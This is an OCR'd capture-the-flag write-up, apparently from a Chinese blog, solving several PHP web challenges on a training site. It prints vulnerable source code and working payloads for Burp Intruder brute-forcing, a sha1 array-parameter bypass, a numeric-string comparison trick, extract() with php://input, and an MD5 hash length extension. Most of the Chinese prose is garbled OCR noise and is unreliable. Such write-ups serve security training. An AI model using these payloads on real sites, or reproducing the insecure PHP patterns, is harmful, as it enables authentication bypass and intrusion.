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SRER: CTF_web
RO RSO R RO E, EE_CC 4.0 BY-SA KRN, H#iEM LECH B mAER,

ACEERE: https://blog.csdn.net/gq_43214809/article/details/87900745
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9a <! XA
HERF45 5 . 9581 3Wjd98YU. php —> -

HEE GBI A= P ITIF, RA B -

[ 9s81jWjd9syU x  +

& > C @ &%£| ctfwhaledu.com:10010/web38/9s81jWjd98YU.php * 6

Notice: Undefined index: username in /home/whaledu.com/html/web/web38/9s81jWjd98YU.php on line 12

EE: RS, B8, BEBNRENS, ﬂ

e
wEg:2m3

FI#E, view-source® —HR:

<head>

<meta http—equiv="Content-Type” content="text/html; charset=utf-8" />
<title>9s813iWjd98YU</title>

</head>

<body>

<br>

<br>

g <br />

10| <b>Notice</b>: Undefined index: username in <b>/home/whaledu. com/html/web/web38/9s81jWjd98YU. php</b> on line <h>12</b><br />
11| <center><h3><font>yl: M4, . BulfdAsge =%, </font></h3></center>

12 | {center>

® N g B W N =

13 <br>

14 <br>

15 <br>

16 <form action="9s81iWjd98YU. php” method="get”>

17 M/ 44: <input name="username” type="text” value="admin”><br><br>

18 Finbsp;&nbsp;fi%: <{input name="password” type="password”><br><br>

19 Jourbfh: <input name="randcode” type="text”> 016<br><br> {input type="submit” value="#f{5&" ><br><br><br>
20 </form>

21| </center>

22 | </body>

23
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25

FHREECZEHRT, BRES —Mxcry, M11112F]12110, FEZRIREALET ST, FOME 5 XA EnE —#, #
= Z HburpsuiteB i, (HRIXANE KM SE TR . WD 2 PEE S SR R, BT ARRATE B FRIEg. &
CSDNE#T—TF, —#2H %S — A pythonfli4, #ITWIEIDEN, EHRLE—KBE, FERXKRTR, RI—1H
burpsuite AT BB KIBAE, XAMHHETHIER, XHS T~ EE.

BARKBE RS ZER, KM R FFProject options, #ESessions B 4n 8 —ANTT DL H)"IIERS K%, ARG S BH ) B
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RIEIMEHETRE. £XE, REUNREFW L, REFTHNZDN, —TFHRRIN, EREBEME, SEFEATET,

B TAEEER KRR, EMIESE - RBRNE, BNEGEHE T, G(FmH ).

BRI MO T R E R LB, FRRAIKEECSE —pythonlARBE ER. BFEMRR—ITHIFBART), ER
THIURA FR R —ER, DEERMBUER, #TIE, AN, REEMAEGMEIEL A SEEXBH, XN
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| Target I, ],Spider IScanner Tlntruder T Repeater TSequencer TDecoder TComparer TExtender T Project options TUser options ],Alerts 1

1x |2 x

[Target ], Positions TPaonads TOptions ]

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,

and each payload type can be customized in different ways

Payload set: | 1 v Payload count: 1,001
Payload type: | Simple list v Request count: 1,001

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 11111 -
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| Load.. | 11113
11114
Remove
L J 11115
[ clear | 11116
11117 v
| Add Enter a new item
t |

Bulbalniiuder Attack Save Columns

Results T Target T Positions T Payloads TOpticns ]
1 x [2ueal |
| Filter: Showing all items

Target | Posi
——————| Request Payload Status

Error Timeout Length ¥  Comment
Il A
9 200 533 -
12| | = = ™ art attack I
— 0 200 = O 504 )
Youlcan). 200 m) () 504
and eac 2 200 O ] 504
3 200
Payload = S 204
4 200 o o 504
Payload| 5 200 [} O 504
6 200 O O 504
7 200 =) [} 504
> | || 8 4 200 uJ ] 504
. ) 10 200 =] O 504
This pay
11 200 O O 504
12 200 O O 504
Past| ., ann EAa L/ A
| Load [Request Response
| Reme Raw | Headers | Hex | HTML TRendar ]
. 1<br> A
Clez <center><h3> EG—RANERRNES < 3> </center> 5
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PEE USSR R T Seview-source 118, BT —HR, BAREE7:

[ view-sourcexctf.whaledu.com: X +

& C @ A& | view-source:ctf.whaledu.com:10010/web16/ % @a
1| <html><head><meta http-equiv="Content-Type” content="text/html; charset=utf-8”
2| <title>Break the sha<{/title>
3| </head
4| <body alink="#007000" bgcolor="4000000" link="gold” text="%008000" vlink="#00c000">
5| <center>
6 | <br><br>
7| <center>
8| <hl>Your password can not be your name. </hl>
9| </center>
10 | <hr>
11 | <br>
12 | <br>
13 | <!-—index. phps—>
14| </html
15
16
— . N : 5 N
&7~ Tindexphps, BEEBEIMBAZHITH, & —BRphplRtd, FIEEHIT:
[ view-source:xctfwhaledu.com:” X + -
& C O FZ2 | view-sourcexctf.whaledu.com:10010/web16/index.phps * €
1| <?php
2| error_reporting (0) ;
3| $flag = ' skl
4| if (isset(8_GET[ name']) and isset(S_GET[ password 1)) {
5 if ($_GET[ name’] == $_GET[ password' ])
6 print 'name and password must be diffirent’
7 else if (shal (S_GET[  name’' ]1)=== shal (3_GET[ password 1))
8 die($flag):
9 else print 'invalid password :
10}
n|

@ o

ER—®UE, Kk RmERTAERE. £—&, RNAHNHELMHFP LARHES, XUR—FFHMATAHRWEZMSE: £
Mo BATMsha- 1B EME . BALZE—T, XMAFET, FREASEERBEIHE,

ZET RS —ERXANEEARZ K, BEBRILEFRF RN REEMERE, BRZERGAESCH. L ZFIA Tintvalffid it

EST. Mo TREBKY, FEFERFEERNH-BEIGRE.

BEH#RENshal VBBGFEE— N AIgad s, #idshal TikAEHA, HEphpASWME RE, HEHERE fasle. tHEt£shal(])

===false, AXFEHIE, RERFLMNEGEE LA RR, Batlaikbfase, XBEE-ANXERTUHLT. £

FE—A%ME, THRABT. XEEREEZEWEpayloadsily: ?name[0]=1&password[0]=2, H#75Zflag:

[ view-source:ctfwhaledu.com: X +

< C [ @ &~&2 | view-sourcectf.whaledu.com:10010/web16/ENE MENETEES I | [N

1] flag (o—



FERBNET—TF, &8 MEN L, HEEAFGET, REBMEGN, AR, FERXAMEN:

Wk GET ¥+ & & name[l=a, #4 $_GET[name’]=[a], php 21 [lma H#AEN, $_GET 2EBZXSHIHH
urldecode.

$ POST RIREFEMWIRE, RAZKRBAHME, userl=admin, _POST['user] BEI£ [‘admin] & — A%,

25 FIXAETG = 7 LA : ?name[]=1&password[]=2.

=. ERBEA:

SR

[ ctfwhaledu.com:10010/web2 = X +

& C @ #A%&% | ctf.whaledu.com:10010/web21/

what the hell?

R, view-sourceFE—HR, H4atEFE, BHEEHindexphpF T —HRMAMAAHEBAR, AR5 AT — Findex.php.btiX KIEHD H
KT

O ctiwhaledu.com:10010/web2 = X +
& C ® A%%| ctfwhaledu.com:10010/web21/index.php.txt B v O

<?php

echo "waht the hell?”;

$flag = "sowmkioRk” ;

if ("POST” == $_SERVER[ REQUEST METHOD' 1)
{

Spassword = $_POST[' password 1;
if (0 >= preg_match(’/ [[:graph:11{12,1$/", S$password))
{
echo 'Wrong Format’ ;
exit;

while (TRUE)
{

Sreg = '/([[:punct:]11+|[[:digit:1]+| [[:upper: 11+ [[:lower:11+)/";
if (6 » preg_match all ($reg, Spassword, Sarr))
break;
Sc = 0;
Sps = array('punct’, ’digit’, 'upper’, 'lower );:
foreach (Sps as $pt)

if (preg match(”/[[:$pt:11+/", $password))
Sc += 1;

1

if (8¢ < 3) break:

if ("42” == $password) echo $flag;
else echo 'Wrong password’ ;

exit;

RIEFFHRRILHE L, —BRAESENLRE R, FEHRMNEZKES Blagh &4, KEifEMHLEAE, LFBEWI SHEE—
iff &R R TE T2 RERF R EAZwhilelfEIE, HARERLRKRBRTET6R, LA K ABBIEAEMAIR A
HEBEMBFEREMKE ZRBAEMNEFE, BTR, CEFBTLERRGEEMFCKTET3, URLARAHNFREER
B, BF, RKAOASFERPRH=MEM E; &5 — 1t &passwordfE H42.



SAEEZE—T, B2 At friiEpayload, MAETRREZBMEEFESHXNEFBMBET S, F2ELBRESRE
FHOoO#MISeT, JERIART —FAMT, MIZRMERMRY; BB R—TRZLEE, FAXEREHe, FrOME
password=4.2000000e+1, BiA[#§%lflag, ZHsRtWAT CAEBEHABK ik, AHE—.

& ¢ @ @ ctf.whaledu.com:10010/web21/ BR e ¥ In @O o @ | =
B inETdn @ 3 s 5 smm B suRests O BahhRHE

what the hell? S IE=N

@ OEE: OBya OBFdE OnlkEes Qi 4wE = RE B e TESis @ HackBar 0] - X
Encryption v+ Encoding~ SQL~ XSS~ Other~ Chrome BackBar Contribute me! HackBar v2
@ Load URL http://ctf.whaledu.com:10010/web21/
§ split URL

» ) Execute
Post data [ | Referrer [] User Agent [ ] Cookies

password=4.2000000e+1|

XE@EYABWENLREFFEM—SZRFBENT, AE—KRE:
PHPA B #: https:/mww.yunbook.vip/post/1545197714976.htmi
ENFRERFM: https://blog.csdn.net/qq_27905477/article/details/78819090
V9. sR%s e

FEWTF:

& = O in ® ctfwhaledu.com:10010/web39/

<?php
extract($_GET);
if(lempty($vs)){
$Ff = trim(file_get_contents($fF));
if($vs === $FF){
echo "<p>This is flag:".$flag."</p>";
H
else{
"<p>Variable extract!</>";
}
}

?>

REER— BRI, extract)Rfi—HE—BRELRTERES, ERERRRNTEEWBERNEZRvsHIF. BEFTE, A%
HTHRR, vsiEs, BEEELRT, file_get contentsRFHER T, XEEFRERMNERZ php/input REE, TAETRK,
REME HpayloadR JFPOSTH v B B HE BT B, 5 1R 5 ffpayload:?vs=abc&fF=php:/input, %} )5 7EFirfoxf¥jHackBar
HPOST ‘abc’, HEBBIEEKA RN, RiXTREZMEZIK, #TIRLFpayload#EHA R, FRXE T —LK T php/inputi] 5
B, ZITHFREITIT, SRS T bupsuiteiMNEEE, (LM )EELAAC—E%., ERESITIFBAREFHR A K E,
T K G — 2 E &I —>Content-Type:application/x-www-form-urlencoded, 84058 £ multipart/form-data, 'php://input & Xk
H. RIEBHGETHPOST, K#HEM— abc, KAEIF1EFflag:

| Target l Proxy l Spider I Scanner | Intruder | Repeater I Sequencer | Decoder | Comparer I Extender | Project options | User options lAIerls |



https://www.yunbook.vip/post/1545197714976.html
https://blog.csdn.net/qq_27905477/article/details/78819090

Go Cancel <|* >|» Target: http://ctf.whaledu.com:10010 | & ?I

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST /web39/index.php?vs=abc&fF=php://input HTTP/1.1 : Name ‘ Value
Host: ctf.whaledu.com:10010

i N HTTP/1.1 200 OK
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 Date Tue, 26 Feb 2019 12:22:15 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Server Apache/2.4.6 (CentOS) PHP/5.4.16
Chrome/72.0.3626.96 Safari/537.36 X-Powered-By PHP/5.4.16
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Content-Length 1602
Accept-Encoding: gzip, deflate Connection close
Accept-Language: zh-CN,zh;q=0.9 | | Content-Type text/html;charset=utf-8
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 3
abc
[></span><span style="color: #0000BB">?&gt;</span> A
</span>
K </code><p>This is ﬂag:venusCTFm/P [
S0 I G I G Y O - o N | (R I (R I (R I U [
[@ ctfwhaledu.com:10010/web3" X 8 ig= x| +
< C @ 7%= | ctfwhaledu.com:10010/web39/index.php?vs=abc&fF=php://input
<?php

extract (5_GET) ;
if (lempty ($vs)) {
SFf = trim(file_get_contents($fF));
if($vs == SFf){
echo "<p>This is flag:”. $flag. "</p>";
else{
"<p>Variable extract!</>";

i

i

This is flag:venusCTF i

PR Y S

XEBETRF: https://www.freebuf.com/articles/web/182280.html
POSTS5php:/finput: https://blog.csdn.net/songtaiwu/article/details/79455031
fi. BHEAR:

ST

& - O ') (» ctfwhaledu.com:10070/webdd/ Yo

<?php
echo "UlEl -4lrolejroot. salt (/¥ }y6. hash ya®566a65f9d6bfd9abf2clibeflcazaf, MLy i (112 #F i [twhaleCTF" . "<br>";

$Flag = mreaxsxeeen;
$role = $_REQUEST["role"];
$hash = $_REQUEST["hash"];
Soatt = Fixnnsesennar; /Iohe length is 6

if ($hash !== md5($salt.$role)){
echo 'wrong!';

exit;

}

if ( $role == 'root'){
echo 'no no no !, hash cann\'t be root';
exit;

}

//echo "You are ".$role.'</br>";
echo 'Congradulation! The flag is'.$flag;

?> wrong!


https://www.freebuf.com/articles/web/182280.html
https://blog.csdn.net/songtaiwu/article/details/79455031

R 2 R hash KBV, SR ITHERRAE A, BAZ 0 AORBA i khashiK FEIE RBCH 0L, - R4
THEFN, REWERARRAA, M LA KXI B RS T hashoumpi N TR, ERRREHEEL, HAT S
Sh— TR, EATRBTE

SRR L~ BER R, MR, LR, RAEAA T RIERagh T iR, K RE
R

Web—master>python exploit.py a0 f9d6bfd9abf2cll6eflcalaf whaleCTF 14

HASH_EXTENSION_ATTACK

BAEN—BRFEFEREE PA B hashl, R BEAETHMISE, % -AwhaleCTFIEANRBFZAH, M RhashpumpF i
Input Data to Add, HJEHIIMN14, RRHIREsaltfIKE6E N L whaleCTF K8 IR 4 & 5 4 Hi Sk Hipayload st & AT E K%
%:
role=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00P%00%00%00%00%00%00%00whaleCTF &hash=aab9a3180e92bd4 126d5
6011b672711f

& O i ©  ctf.whaledu.com bx¢ = 7. =&
<?php

echo "UEl 4lroleroot. saltll/¥ /6. hashyae566a65f9debfdoabfacll6eficazaf, Hl Ly k(1) 74 JtwhaleCTF" . "<br>";

$flag - "********’v’r";

$role = $_REQUEST["role"];

$hash = $_REQUEST["hash"];

$SElt - "********’v’r*";

if ($hash !== md5($salt.$role)){
echo 'wrong!';
exit;

}

if ( $rele == 'root'){
echo 'no no no !, hash cann\'t be root';
exit;

}

echo 'Congradulation! The flag is'.$flag;

?»> Congradulation! The flag is m
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1TEEFZENE-RAY, LERERA BN, ¥R T - MEEMNEIEEREMERAEREN, BCRRATRIFESR
BMEPHRERE, HEMWMERS, P EERER; HIBEXRME, 27T SRAEDNEDE, Xphph)— L%
RUEETHM T, ENLE, Bz ER, SihashkE RS .
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